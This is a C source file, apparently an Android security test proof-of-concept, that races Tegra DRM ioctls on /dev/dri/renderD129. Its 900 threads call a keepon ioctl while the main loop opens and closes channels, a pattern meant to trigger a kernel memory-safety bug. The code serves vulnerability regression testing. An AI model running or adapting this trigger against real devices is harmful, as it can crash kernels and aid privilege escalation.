1 /*
2 * Copyright (C) 2017 The Android Open Source Project
3 *
4 * Licensed under the Apache License, Version 2.0 (the "License");
5 * you may not use this file except in compliance with the License.
6 * You may obtain a copy of the License at
7 *
8 * http://www.apache.org/licenses/LICENSE-2.0
9 *
10 * Unless required by applicable law or agreed to in writing, software
11 * distributed under the License is distributed on an "AS IS" BASIS,
12 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13 * See the License for the specific language governing permissions and
14 * limitations under the License.
15 */
16 #define _GNU_SOURCE
17 #include <stdio.h>
18 #include <stdlib.h>
19 #include <pthread.h>
20 #include <sys/ioctl.h>
21 #include <errno.h>
22 #include <sys/stat.h>
23 #include <fcntl.h>
24 #include <sched.h>
25 #include <sys/types.h>
26 #include <signal.h>
27 #include <unistd.h>
28
29 #define KEEPON_THREAD_NUM 900
30 #define TRY_TIMES KEEPON_THREAD_NUM
31 #define DEV "/dev/dri/renderD129"
32
33 #define SIOCIWFIRSTPRIV 0x8BE0
34 #define SIOCGIWNAME 0x8B01
35 #define IOCTL_SET_STRUCT_FOR_EM (SIOCIWFIRSTPRIV + 11)
36 #define PRIV_CUSTOM_BWCS_CMD 13
37 #define PRIV_CMD_OID 15
38 #define PRIV_CMD_SW_CTRL 20
39 #define PRIV_CMD_WSC_PROBE_REQ 22
40
41 enum host1x_class {
42 HOST1X_CLASS_HOST1X = 0x1,
43 HOST1X_CLASS_NVENC = 0x21,
44 HOST1X_CLASS_VI = 0x30,
45 HOST1X_CLASS_ISPA = 0x32,
46 HOST1X_CLASS_ISPB = 0x34,
47 HOST1X_CLASS_GR2D = 0x51,
48 HOST1X_CLASS_GR2D_SB = 0x52,
49 HOST1X_CLASS_VIC = 0x5D,
50 HOST1X_CLASS_GR3D = 0x60,
51 HOST1X_CLASS_NVJPG = 0xC0,
52 HOST1X_CLASS_NVDEC = 0xF0,
53 };
54
55 #define DRM_COMMAND_BASE 0x40
56 #define DRM_COMMAND_END 0xA0
57
58 #define DRM_TEGRA_OPEN_CHANNEL 0x05
59 #define DRM_TEGRA_CLOSE_CHANNEL 0x06
60 #define DRM_TEGRA_STOP_KEEPON 0x11
61
62 struct drm_tegra_open_channel {
63 __u32 client;
64 __u32 pad;
65 volatile __u64 context;
66 };
67
68 struct drm_tegra_close_channel {
69 volatile __u64 context;
70 };
71
72 struct drm_tegra_keepon {
73 volatile __u64 context;
74 };
75
76 #define DRM_IOCTL_BASE 'd'
77 #define DRM_IOWR(nr,type) _IOWR(DRM_IOCTL_BASE,nr,type)
78
79 #define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
80 #define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
81 #define DRM_IOCTL_TEGRA_STOP_KEEPON DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_STOP_KEEPON, struct drm_tegra_keepon)
82
83 int fd;
84 pthread_t keepon_thread_id[KEEPON_THREAD_NUM] = { 0 };
85
86 volatile struct drm_tegra_open_channel open_c = { 0 };
87 volatile struct drm_tegra_close_channel close_c = { 0 };
88 volatile struct drm_tegra_keepon keepon_c = { 0 };
89
set_affinity(int num)90 static int set_affinity(int num)
91 {
92 int ret = 0;
93 cpu_set_t mask;
94 CPU_ZERO(&mask);
95 CPU_SET(num, &mask);
96 ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
97 return ret;
98 }
99
prepare()100 static void prepare()
101 {
102 open_c.client = HOST1X_CLASS_VIC;
103 }
104
keepon_thread(void * no_use)105 void* keepon_thread(void* no_use)
106 {
107 set_affinity(1);
108
109 while(1){
110 ioctl(fd, DRM_IOCTL_TEGRA_STOP_KEEPON, &keepon_c);
111 }
112 }
113
main()114 int main()
115 {
116 int i, try_time = TRY_TIMES, ret;
117
118 /* bind_cpu */
119 set_affinity(0);
120
121 /* open dev */
122 fd = open(DEV,O_RDONLY);
123 if(fd == -1){
124 return 0;
125 }
126
127 /* prepare ioctl cmd */
128 prepare();
129
130 /* create keepon thread */
131 for(i = 0; i < KEEPON_THREAD_NUM; i++){
132 ret = pthread_create(keepon_thread_id + i, NULL, keepon_thread, NULL);
133 if(ret){
134 goto out_keepon_thread;
135 }
136 }
137
138 while(try_time){
139 /* open */
140 ret = ioctl(fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
141 if(ret == 0){
142 try_time--;
143 /* set keepon */
144 keepon_c.context = open_c.context;
145 /* set close */
146 close_c.context = open_c.context;
147 usleep(500);
148 ret = ioctl(fd, DRM_IOCTL_TEGRA_CLOSE_CHANNEL, &close_c);
149 }
150 }
151
152 out_keepon_thread:
153 /* kill keepon thread */
154 for(i = 0; i < KEEPON_THREAD_NUM; i++){
155 pthread_kill(keepon_thread_id[i], SIGKILL);
156 }
157 out_dev:
158 close(fd);
159 return 0;
160 }
161